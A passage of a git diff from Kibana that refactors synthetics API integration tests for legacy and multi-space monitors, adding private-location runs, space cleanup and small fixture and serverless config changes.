any, customPrivateLocation?: any) => { + if (!customPrivateLocation) return data; + const { locations, ...rest } = data as any; + return { ...rest, private_locations: [customPrivateLocation.id] }; + }; + + before(async () => { + await kibanaServer.savedObjects.cleanStandardList(); + supertestEditorWithApiKey = await roleScopedSupertest.getSupertestWithRoleScope('editor', { + withInternalHeaders: true, + }); + privateLocation = usePrivateLocations + ? await privateLocationService.addTestPrivateLocation() + : undefined; + }); -export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { - describe('LegacyAndMultiSpaceMonitorAPI', function () { - // Fails on MKI, see https://github.com/elastic/kibana/issues/225431 - this.tags(['failsOnMKI']); - - const supertest = getService('supertestWithoutAuth'); - const kibanaServer = getService('kibanaServer'); - const samlAuth = getService('samlAuth'); - let editorUser: RoleCredentials; - - const saveMonitor = async (monitor: any, type: string, spaceId?: string) => { - let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `?internal=true&savedObjectType=${type}`; - if (spaceId) { - url = `/s/${spaceId}${url}`; - monitor.spaces = [spaceId]; - } - const res = await supertest - .post(url) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send(monitor); - expect(res.status).eql(200, JSON.stringify(res.body)); - return res.body; - }; + const spacesToDeleteIds: string[] = []; - const editMonitor = async (monitorId: string, monitor: any, type: string, spaceId?: string) => { - let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `/${monitorId}?internal=true`; - if (spaceId) { - url = `/s/${spaceId}${url}`; - } - const res = await supertest - .put(url) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send(monitor); - expect(res.status).eql(200, JSON.stringify(res.body)); - return res.body; - }; + after(async () => { + await supertestEditorWithApiKey.destroy(); + await kibanaServer.savedObjects.cleanStandardList(); + await Promise.all(spacesToDeleteIds.map((id) => kibanaServer.spaces.delete(id))); + }); - const deleteMonitor = async (monitorId: string, type: string, spaceId?: string) => { - let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `/${monitorId}`; - if (spaceId) { - url = `/s/${spaceId}${url}`; - } - const res = await supertest - .delete(url) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send(); - expect(res.status).eql(200, JSON.stringify(res.body)); - return res.body; - }; - - let legacyMonitor: any; - let multiMonitor: any; - let uuid: string; - let httpMonitor: any; - let editedLegacy: any; - let editedMulti: any; - let delLegacy: any; - let delMulti: any; - - before(async () => { - await kibanaServer.savedObjects.cleanStandardList(); - editorUser = await samlAuth.createM2mApiKeyWithRoleScope('editor'); - }); + beforeEach(() => { + uuid = uuidv4(); + httpMonitor = applyLocation( + getFixtureJson('http_monitor'), + usePrivateLocations ? privateLocation : undefined + ); + }); - after(async () => { - await kibanaServer.savedObjects.cleanStandardList(); + describe('Legacy and Multi-space monitor CRUD', () => { + it('should create a legacy monitor', async () => { + legacyMonitor = await saveMonitor( + { ...httpMonitor, name: `legacy-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + expect(legacyMonitor.name).eql(`legacy-${uuid}`); + await kibanaServer.savedObjects + .find({ + type: legacySyntheticsMonitorTypeSingle, + }) + .then((response) => { + expect(response.saved_objects.length).to.eql(1); + expect(response.saved_objects[0].id).to.eql(legacyMonitor.id); + }); }); - beforeEach(() => { - uuid = uuidv4(); - httpMonitor = getFixtureJson('http_monitor'); + it('should create a multi-space monitor', async () => { + multiMonitor = await saveMonitor( + { ...httpMonitor, name: `multi-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + expect(multiMonitor.name).eql(`multi-${uuid}`); + const response = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, + }); + const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); + expect(found).not.to.be(undefined); + expect(found?.attributes.name).to.eql(`multi-${uuid}`); }); - describe('Legacy and Multi-space monitor CRUD', () => { - it('should create a legacy monitor', async () => { + it('should edit a legacy monitor', async () => { + if (!legacyMonitor) { legacyMonitor = await saveMonitor( { ...httpMonitor, name: `legacy-${uuid}` }, legacySyntheticsMonitorTypeSingle ); - expect(legacyMonitor.name).eql(`legacy-${uuid}`); - await kibanaServer.savedObjects - .find({ - type: legacySyntheticsMonitorTypeSingle, - }) - .then((response) => { - expect(response.saved_objects.length).to.eql(1); - expect(response.saved_objects[0].id).to.eql(legacyMonitor.id); - }); + } + editedLegacy = await editMonitor( + legacyMonitor.id, + { name: `legacy-edited-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + expect(editedLegacy.name).eql(`legacy-edited-${uuid}`); + const response = await kibanaServer.savedObjects.find({ + type: legacySyntheticsMonitorTypeSingle, }); + const found = response.saved_objects.find((obj: any) => obj.id === legacyMonitor.id); + expect(found).not.to.be(undefined); + expect(found?.attributes.name).to.eql(`legacy-edited-${uuid}`); + }); - it('should create a multi-space monitor', async () => { + it('should edit a multi-space monitor', async () => { + if (!multiMonitor) { multiMonitor = await saveMonitor( { ...httpMonitor, name: `multi-${uuid}` }, syntheticsMonitorSavedObjectType ); - expect(multiMonitor.name).eql(`multi-${uuid}`); - const response = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); - expect(found).not.to.be(undefined); - expect(found?.attributes.name).to.eql(`multi-${uuid}`); + } + editedMulti = await editMonitor( + multiMonitor.id, + { name: `multi-edited-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + expect(editedMulti.name).eql(`multi-edited-${uuid}`); + const response = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, }); + const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); + expect(found).not.to.be(undefined); + expect(found?.attributes.name).to.eql(`multi-edited-${uuid}`); + }); - it('should edit a legacy monitor', async () => { - if (!legacyMonitor) { - legacyMonitor = await saveMonitor( - { ...httpMonitor, name: `legacy-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); - } - editedLegacy = await editMonitor( - legacyMonitor.id, - { name: `legacy-edited-${uuid}` }, + it('should delete a legacy monitor', async () => { + if (!legacyMonitor) { + legacyMonitor = await saveMonitor( + { ...httpMonitor, name: `legacy-${uuid}` }, legacySyntheticsMonitorTypeSingle ); - expect(editedLegacy.name).eql(`legacy-edited-${uuid}`); - const response = await kibanaServer.savedObjects.find({ - type: legacySyntheticsMonitorTypeSingle, - }); - const found = response.saved_objects.find((obj: any) => obj.id === legacyMonitor.id); - expect(found).not.to.be(undefined); - expect(found?.attributes.name).to.eql(`legacy-edited-${uuid}`); + } + delLegacy = await deleteMonitor(legacyMonitor.id, legacySyntheticsMonitorTypeSingle); + expect(delLegacy[0].id).eql(legacyMonitor.id); + const response = await kibanaServer.savedObjects.find({ + type: legacySyntheticsMonitorTypeSingle, }); + const found = response.saved_objects.find((obj: any) => obj.id === legacyMonitor.id); + expect(found).to.be(undefined); + }); - it('should edit a multi-space monitor', async () => { - if (!multiMonitor) { - multiMonitor = await saveMonitor( - { ...httpMonitor, name: `multi-${uuid}` }, - syntheticsMonitorSavedObjectType - ); - } - editedMulti = await editMonitor( - multiMonitor.id, - { name: `multi-edited-${uuid}` }, + it('should delete a multi-space monitor', async () => { + if (!multiMonitor) { + multiMonitor = await saveMonitor( + { ...httpMonitor, name: `multi-${uuid}` }, syntheticsMonitorSavedObjectType ); - expect(editedMulti.name).eql(`multi-edited-${uuid}`); - const response = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); - expect(found).not.to.be(undefined); - expect(found?.attributes.name).to.eql(`multi-edited-${uuid}`); + } + delMulti = await deleteMonitor(multiMonitor.id, syntheticsMonitorSavedObjectType); + expect(delMulti[0].id).eql(multiMonitor.id); + const response = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, }); + const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); + expect(found).to.be(undefined); + }); - it('should delete a legacy monitor', async () => { - if (!legacyMonitor) { - legacyMonitor = await saveMonitor( - { ...httpMonitor, name: `legacy-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); - } - delLegacy = await deleteMonitor(legacyMonitor.id, legacySyntheticsMonitorTypeSingle); - expect(delLegacy[0].id).eql(legacyMonitor.id); - const response = await kibanaServer.savedObjects.find({ - type: legacySyntheticsMonitorTypeSingle, - }); - const found = response.saved_objects.find((obj: any) => obj.id === legacyMonitor.id); - expect(found).to.be(undefined); + it('should allow editing spaces of a legacy monitor (convert to multi-space type)', async () => { + const legacy = await saveMonitor( + { ...httpMonitor, name: `legacy-to-multi-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + const NEW_SPACE = `edit-space-${uuid}`; + await kibanaServer.spaces.create({ id: NEW_SPACE, name: `Edit Space ${uuid}` }); + spacesToDeleteIds.push(NEW_SPACE); + + await editMonitor( + legacy.id, + { spaces: ['default', NEW_SPACE], name: `legacy-now-multi-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + + const multiRes = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, }); + const foundMulti = multiRes.saved_objects.find((obj: any) => obj.id === legacy.id); + expect(foundMulti).not.to.be(undefined); + expect(foundMulti?.attributes.name).to.eql(`legacy-now-multi-${uuid}`); + expect(foundMulti?.namespaces?.includes(NEW_SPACE)).to.be(true); - it('should delete a multi-space monitor', async () => { - if (!multiMonitor) { - multiMonitor = await saveMonitor( - { ...httpMonitor, name: `multi-${uuid}` }, - syntheticsMonitorSavedObjectType - ); - } - delMulti = await deleteMonitor(multiMonitor.id, syntheticsMonitorSavedObjectType); - expect(delMulti[0].id).eql(multiMonitor.id); - const response = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found = response.saved_objects.find((obj: any) => obj.id === multiMonitor.id); - expect(found).to.be(undefined); + const legacyRes = await kibanaServer.savedObjects.find({ + type: legacySyntheticsMonitorTypeSingle, }); + const foundLegacy = legacyRes.saved_objects.find((obj: any) => obj.id === legacy.id); + expect(foundLegacy).to.be(undefined); - it('should allow editing spaces of a legacy monitor (convert to multi-space type)', async () => { - const legacy = await saveMonitor( - { ...httpMonitor, name: `legacy-to-multi-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); - const NEW_SPACE = `edit-space-${uuid}`; - await kibanaServer.spaces.create({ id: NEW_SPACE, name: `Edit Space ${uuid}` }); - - await editMonitor( - legacy.id, - { spaces: ['default', NEW_SPACE], name: `legacy-now-multi-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); + await deleteMonitor(legacy.id, syntheticsMonitorSavedObjectType); + }); - const multiRes = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const foundMulti = multiRes.saved_objects.find((obj: any) => obj.id === legacy.id); - expect(foundMulti).not.to.be(undefined); - expect(foundMulti?.attributes.name).to.eql(`legacy-now-multi-${uuid}`); - expect(foundMulti?.namespaces?.includes(NEW_SPACE)).to.be(true); + it('should allow editing spaces of a multi-space monitor', async () => { + const multi = await saveMonitor( + { ...httpMonitor, name: `multi-edit-spaces-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + const SPACE1 = `multi-space1-${uuid}`; + const SPACE2 = `multi-space2-${uuid}`; + await kibanaServer.spaces.create({ id: SPACE1, name: `Multi Space 1 ${uuid}` }); + await kibanaServer.spaces.create({ id: SPACE2, name: `Multi Space 2 ${uuid}` }); + spacesToDeleteIds.push(SPACE1, SPACE2); + + await editMonitor( + multi.id, + { spaces: ['default', SPACE1, SPACE2], name: `multi-edited-spaces-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + + const multiRes = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, + }); + const found = multiRes.saved_objects.find((obj: any) => obj.id === multi.id); + expect(found).not.to.be(undefined); + expect(found?.attributes.name).to.eql(`multi-edited-spaces-${uuid}`); + expect(found?.namespaces?.includes(SPACE1)).to.be(true); + expect(found?.namespaces?.includes(SPACE2)).to.be(true); + + await editMonitor( + multi.id, + { spaces: ['default', SPACE2], name: `multi-edited-spaces2-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + const multiRes2 = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, + }); + const found2 = multiRes2.saved_objects.find((obj: any) => obj.id === multi.id); + expect(found2?.namespaces?.includes(SPACE1)).to.be(false); + expect(found2?.namespaces?.includes(SPACE2)).to.be(true); - const legacyRes = await kibanaServer.savedObjects.find({ - type: legacySyntheticsMonitorTypeSingle, - }); - const foundLegacy = legacyRes.saved_objects.find((obj: any) => obj.id === legacy.id); - expect(foundLegacy).to.be(undefined); + await deleteMonitor(multi.id, syntheticsMonitorSavedObjectType); + }); - await deleteMonitor(legacy.id, syntheticsMonitorSavedObjectType); + it('should delete a monitor after editing spaces', async () => { + const legacy = await saveMonitor( + { ...httpMonitor, name: `legacy-del-after-edit-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + const DEL_SPACE = `del-space-${uuid}`; + await kibanaServer.spaces.create({ id: DEL_SPACE, name: `Del Space ${uuid}` }); + spacesToDeleteIds.push(DEL_SPACE); + + await editMonitor( + legacy.id, + { spaces: ['default', DEL_SPACE], name: `legacy-del-multi-${uuid}` }, + legacySyntheticsMonitorTypeSingle + ); + const del = await deleteMonitor(legacy.id, syntheticsMonitorSavedObjectType); + expect(del[0].id).eql(legacy.id); + const multiRes = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, }); + const found = multiRes.saved_objects.find((obj: any) => obj.id === legacy.id); + expect(found).to.be(undefined); + }); + }); - it('should allow editing spaces of a multi-space monitor', async () => { - const multi = await saveMonitor( - { ...httpMonitor, name: `multi-edit-spaces-${uuid}` }, - syntheticsMonitorSavedObjectType - ); - const SPACE1 = `multi-space1-${uuid}`; - const SPACE2 = `multi-space2-${uuid}`; - await kibanaServer.spaces.create({ id: SPACE1, name: `Multi Space 1 ${uuid}` }); - await kibanaServer.spaces.create({ id: SPACE2, name: `Multi Space 2 ${uuid}` }); - - await editMonitor( - multi.id, - { spaces: ['default', SPACE1, SPACE2], name: `multi-edited-spaces-${uuid}` }, - syntheticsMonitorSavedObjectType - ); + describe('Multi-space monitor filtering', () => { + let monitorDefault: any; + let monitorSpace: any; + let legacyMonitorSpace: any; + let SPACE_ID: string; - const multiRes = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found = multiRes.saved_objects.find((obj: any) => obj.id === multi.id); - expect(found).not.to.be(undefined); - expect(found?.attributes.name).to.eql(`multi-edited-spaces-${uuid}`); - expect(found?.namespaces?.includes(SPACE1)).to.be(true); - expect(found?.namespaces?.includes(SPACE2)).to.be(true); - - await editMonitor( - multi.id, - { spaces: ['default', SPACE2], name: `multi-edited-spaces2-${uuid}` }, - syntheticsMonitorSavedObjectType - ); - const multiRes2 = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found2 = multiRes2.saved_objects.find((obj: any) => obj.id === multi.id); - expect(found2?.namespaces?.includes(SPACE1)).to.be(false); - expect(found2?.namespaces?.includes(SPACE2)).to.be(true); + beforeEach(async () => { + uuid = uuidv4(); + SPACE_ID = `test-space-${uuid}`; + await kibanaServer.spaces.create({ id: SPACE_ID, name: `Test Space ${uuid}` }); + spacesToDeleteIds.push(SPACE_ID); + + const otherSpacePrivateLocation = usePrivateLocations + ? await privateLocationService.addTestPrivateLocation(SPACE_ID) + : undefined; + monitorDefault = await saveMonitor( + { ...httpMonitor, name: `default-${uuid}` }, + syntheticsMonitorSavedObjectType + ); + monitorSpace = await saveMonitor( + { + ...httpMonitor, + name: `space-${uuid}`, + private_locations: usePrivateLocations ? [otherSpacePrivateLocation?.id] : undefined, + }, + syntheticsMonitorSavedObjectType, + SPACE_ID + ); + legacyMonitorSpace = await saveMonitor( + { + ...httpMonitor, + name: `legacy-space-${uuid}`, + private_locations: usePrivateLocations ? [otherSpacePrivateLocation?.id] : undefined, + }, + legacySyntheticsMonitorTypeSingle, + SPACE_ID + ); + }); - await deleteMonitor(multi.id, syntheticsMonitorSavedObjectType); + it('should filter all monitors (showFromAllSpaces)', async () => { + const res = await supertestEditorWithApiKey + .get(SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + '?showFromAllSpaces=true&perPage=1000') + .expect(200); + const found = res.body.monitors.filter((m: any) => + [monitorDefault.id, monitorSpace.id, legacyMonitorSpace.id].includes(m.id) + ); + expect(found.length).eql(3); + + // Assert all monitors exist in their respective spaces + const defaultRes = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, }); + expect(defaultRes.saved_objects.some((obj: any) => obj.id === monitorDefault.id)).to.be(true); - it('should delete a monitor after editing spaces', async () => { - const legacy = await saveMonitor( - { ...httpMonitor, name: `legacy-del-after-edit-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); - const DEL_SPACE = `del-space-${uuid}`; - await kibanaServer.spaces.create({ id: DEL_SPACE, name: `Del Space ${uuid}` }); - await editMonitor( - legacy.id, - { spaces: ['default', DEL_SPACE], name: `legacy-del-multi-${uuid}` }, - legacySyntheticsMonitorTypeSingle - ); - const del = await deleteMonitor(legacy.id, syntheticsMonitorSavedObjectType); - expect(del[0].id).eql(legacy.id); - const multiRes = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - const found = multiRes.saved_objects.find((obj: any) => obj.id === legacy.id); - expect(found).to.be(undefined); + const spaceRes = await kibanaServer.savedObjects.find({ + type: syntheticsMonitorSavedObjectType, + space: SPACE_ID, }); - }); + expect(spaceRes.saved_objects.some((obj: any) => obj.id === monitorSpace.id)).to.be(true); - describe('Multi-space monitor filtering', () => { - let monitorDefault: any; - let monitorSpace: any; - let legacyMonitorSpace: any; - let SPACE_ID: string; - - beforeEach(async () => { - uuid = uuidv4(); - SPACE_ID = `test-space-${uuid}`; - await kibanaServer.spaces.create({ id: SPACE_ID, name: `Test Space ${uuid}` }); - monitorDefault = await saveMonitor( - { ...httpMonitor, name: `default-${uuid}` }, - syntheticsMonitorSavedObjectType - ); - monitorSpace = await saveMonitor( - { ...httpMonitor, name: `space-${uuid}` }, - syntheticsMonitorSavedObjectType, - SPACE_ID - ); - legacyMonitorSpace = await saveMonitor( - { ...httpMonitor, name: `legacy-space-${uuid}` }, - legacySyntheticsMonitorTypeSingle, - SPACE_ID - ); + const legacySpaceRes = await kibanaServer.savedObjects.find({ + type: legacySyntheticsMonitorTypeSingle, + space: SPACE_ID, }); + expect( + legacySpaceRes.saved_objects.some((obj: any) => obj.id === legacyMonitorSpace.id) + ).to.be(true); + }); + }); - it('should filter all monitors (showFromAllSpaces)', async () => { - const res = await supertest - .get(SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + '?showFromAllSpaces=true&perPage=1000') - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .expect(200); - const found = res.body.monitors.filter((m: any) => - [monitorDefault.id, monitorSpace.id, legacyMonitorSpace.id].includes(m.id) - ); - expect(found.length).eql(3); - - // Assert all monitors exist in their respective spaces - const defaultRes = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - }); - expect(defaultRes.saved_objects.some((obj: any) => obj.id === monitorDefault.id)).to.be( - true - ); - - const spaceRes = await kibanaServer.savedObjects.find({ - type: syntheticsMonitorSavedObjectType, - space: SPACE_ID, - }); - expect(spaceRes.saved_objects.some((obj: any) => obj.id === monitorSpace.id)).to.be(true); - - const legacySpaceRes = await kibanaServer.savedObjects.find({ - type: legacySyntheticsMonitorTypeSingle, - space: SPACE_ID, - }); - expect( - legacySpaceRes.saved_objects.some((obj: any) => obj.id === legacyMonitorSpace.id) - ).to.be(true); - }); + describe('Monitor search by name', () => { + let legacyMonitorSearch: any; + let multiMonitorSearch: any; + let searchUuid: string; + + beforeEach(async () => { + searchUuid = uuidv4(); + // Create a legacy monitor with a unique name + legacyMonitorSearch = await saveMonitor( + { ...httpMonitor, name: `legacy-search-${searchUuid}` }, + legacySyntheticsMonitorTypeSingle + ); + // Create a multi-space monitor with a unique name + multiMonitorSearch = await saveMonitor( + { ...httpMonitor, name: `multi-search-${searchUuid}` }, + syntheticsMonitorSavedObjectType + ); }); - describe('Monitor search by name', () => { - let legacyMonitorSearch: any; - let multiMonitorSearch: any; - let searchUuid: string; + it('should find both legacy and multi-space monitors by name', async () => { + const searchName = `search-${searchUuid}`; + const res = await supertestEditorWithApiKey.get( + SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + + `?query=${encodeURIComponent(searchName)}&perPage=1000` + ); - beforeEach(async () => { - searchUuid = uuidv4(); - // Create a legacy monitor with a unique name - legacyMonitorSearch = await saveMonitor( - { ...httpMonitor, name: `legacy-search-${searchUuid}` }, - legacySyntheticsMonitorTypeSingle - ); - // Create a multi-space monitor with a unique name - multiMonitorSearch = await saveMonitor( - { ...httpMonitor, name: `multi-search-${searchUuid}` }, - syntheticsMonitorSavedObjectType - ); - }); + expect(res.status).eql(200, JSON.stringify(res.body)); - it('should find both legacy and multi-space monitors by name', async () => { - const searchName = `search-${searchUuid}`; - const res = await supertest - .get( - SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + - `?query=${encodeURIComponent(searchName)}&perPage=1000` - ) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()); - - expect(res.status).eql(200, JSON.stringify(res.body)); - - // Should find both monitors by partial name match - const foundLegacy = res.body.monitors.find( - (m: any) => m.id === legacyMonitorSearch.id && m.name === `legacy-search-${searchUuid}` - ); - const foundMulti = res.body.monitors.find( - (m: any) => m.id === multiMonitorSearch.id && m.name === `multi-search-${searchUuid}` - ); - expect(foundLegacy).not.to.be(undefined); - expect(foundMulti).not.to.be(undefined); - }); + // Should find both monitors by partial name match + const foundLegacy = res.body.monitors.find( + (m: any) => m.id === legacyMonitorSearch.id && m.name === `legacy-search-${searchUuid}` + ); + const foundMulti = res.body.monitors.find( + (m: any) => m.id === multiMonitorSearch.id && m.name === `multi-search-${searchUuid}` + ); + expect(foundLegacy).not.to.be(undefined); + expect(foundMulti).not.to.be(undefined); }); + }); - describe('Monitor space validation', () => { - it('should throw error if spaces list does not include the calling space on create', async () => { - const INVALID_SPACE = `invalid-space-${uuidv4()}`; - await kibanaServer.spaces.create({ id: INVALID_SPACE, name: `Invalid Space` }); - const monitorData = { + describe('Monitor space validation', () => { + it('should throw error if spaces list does not include the calling space on create', async () => { + const INVALID_SPACE = `invalid-space-${uuidv4()}`; + await kibanaServer.spaces.create({ id: INVALID_SPACE, name: `Invalid Space` }); + spacesToDeleteIds.push(INVALID_SPACE); + const monitorData = applyLocation( + { ...getFixtureJson('http_monitor'), name: `invalid-create-${uuidv4()}`, spaces: ['default'], - }; - const resp = await supertest - .post(`/s/${INVALID_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}?internal=true`) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send(monitorData); - - expect(resp.status).to.be(400); - expect(resp.body.message).to.eql( - 'Invalid space ID provided in monitor configuration. It should always include the current space ID.' - ); - }); + }, + usePrivateLocations + ? await privateLocationService.addTestPrivateLocation(INVALID_SPACE) + : undefined + ); + const resp = await supertestEditorWithApiKey + .post(`/s/${INVALID_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}?internal=true`) + .send(monitorData); + + expect(resp.status).to.be(400); + expect(resp.body.message).to.eql( + 'Invalid space ID provided in monitor configuration. It should always include the current space ID.' + ); + }); - it('should throw error if spaces list does not include the calling space on edit', async () => { - const EDIT_SPACE = `edit-space-${uuidv4()}`; - await kibanaServer.spaces.create({ id: EDIT_SPACE, name: `Edit Space` }); - // Create monitor in EDIT_SPACE - const res = await supertest - .post( - `/s/${EDIT_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}?internal=true&savedObjectType=${syntheticsMonitorSavedObjectType}` - ) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send({ - ...getFixtureJson('http_monitor'), - name: `edit-invalid-${uuidv4()}`, - spaces: [EDIT_SPACE], - }); - expect(res.status).eql(200, JSON.stringify(res.body)); - // Try to edit monitor with spaces not including EDIT_SPACE - const resp = await supertest - .put( - `/s/${EDIT_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}/${res.body.id}?internal=true` - ) - .set(editorUser.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send({ name: `edit-invalid-${uuidv4()}`, spaces: ['default'] }); - - expect(resp.status).to.be(400); - expect(resp.body.message).to.eql( - 'Invalid space ID provided in monitor configuration. It should always include the current space ID.' - ); - }); + it('should throw error if spaces list does not include the calling space on edit', async () => { + const EDIT_SPACE = `edit-space-${uuidv4()}`; + await kibanaServer.spaces.create({ id: EDIT_SPACE, name: `Edit Space` }); + spacesToDeleteIds.push(EDIT_SPACE); + const monitorData = applyLocation( + { + ...getFixtureJson('http_monitor'), + name: `edit-invalid-${uuidv4()}`, + spaces: [EDIT_SPACE], + }, + usePrivateLocations + ? await privateLocationService.addTestPrivateLocation(EDIT_SPACE) + : undefined + ); + // Create monitor in EDIT_SPACE + const res = await supertestEditorWithApiKey + .post( + `/s/${EDIT_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}?internal=true&savedObjectType=${syntheticsMonitorSavedObjectType}` + ) + .send(monitorData); + expect(res.status).eql(200, JSON.stringify(res.body)); + // Try to edit monitor with spaces not including EDIT_SPACE + const resp = await supertestEditorWithApiKey + .put( + `/s/${EDIT_SPACE}${SYNTHETICS_API_URLS.SYNTHETICS_MONITORS}/${res.body.id}?internal=true` + ) + .send({ name: `edit-invalid-${uuidv4()}`, spaces: ['default'] }); + + expect(resp.status).to.be(400); + expect(resp.body.message).to.eql( + 'Invalid space ID provided in monitor configuration. It should always include the current space ID.' + ); + }); + }); +}; + +export default function (context: DeploymentAgnosticFtrProviderContext) { + describe('LegacyAndMultiSpaceMonitorAPI', function () { + describe('Public location', function () { + this.tags(['skipCloud']); + runTests(context, { usePrivateLocations: false }); + }); + + describe('Private location', function () { + runTests(context, { usePrivateLocations: true }); }); }); } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_policy.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_policy.ts index ba849cafd7cb9..7463ce67aec0b 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_policy.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_policy.ts @@ -31,6 +31,7 @@ export const getTestSyntheticsPolicy = (props: PolicyProps): PackagePolicy => { version: 'WzE2MjYsMV0=', name: 'test-monitor-name-Test private location 0-default', namespace: namespace ?? 'testnamespace', + spaceIds: ['default'], package: { name: 'synthetics', title: 'Elastic Synthetics', version: INSTALLED_VERSION }, enabled: true, policy_id: '5347cd10-0368-11ed-8df7-a7424c6f5167', diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_project_monitor_policy.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_project_monitor_policy.ts index 0af235c0b2345..cb80f04745c05 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_project_monitor_policy.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/sample_data/test_project_monitor_policy.ts @@ -52,6 +52,7 @@ export const getTestProjectSyntheticsPolicyLightweight = ( version: 'WzEzMDksMV0=', name: `4b6abc6c-118b-4d93-a489-1135500d09f1-${projectId}-default-${locationName}`, namespace: namespace || undefined, + spaceIds: ['default'], package: { name: 'synthetics', title: 'Elastic Synthetics', version: INSTALLED_VERSION }, enabled: true, policy_id: '46034710-0ba6-11ed-ba04-5f123b9faa8b', @@ -546,6 +547,7 @@ export const getTestProjectSyntheticsPolicy = ( version: 'WzEzMDksMV0=', name: `4b6abc6c-118b-4d93-a489-1135500d09f1-${projectId}-default-Test private location 0`, namespace: namespace || undefined, + spaceIds: ['default'], package: { name: 'synthetics', title: 'Elastic Synthetics', version: INSTALLED_VERSION }, enabled: true, policy_id: '46034710-0ba6-11ed-ba04-5f123b9faa8b', diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts index 95cf3f5026908..408d9184681af 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessTestConfig } from '../../default_configs/serverless.config.base'; +import { createServerlessTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/serverless.config.base'; +import { services } from '../../services'; -export default createServerlessTestConfig({ +export default createServerlessTestConfig({ + services, serverlessProject: 'oblt', testFiles: [require.resolve('./oblt.ai_assistant.index.ts')], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts index 9d4d8b89a7e6f..9d7f0432ce2b8 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessTestConfig } from 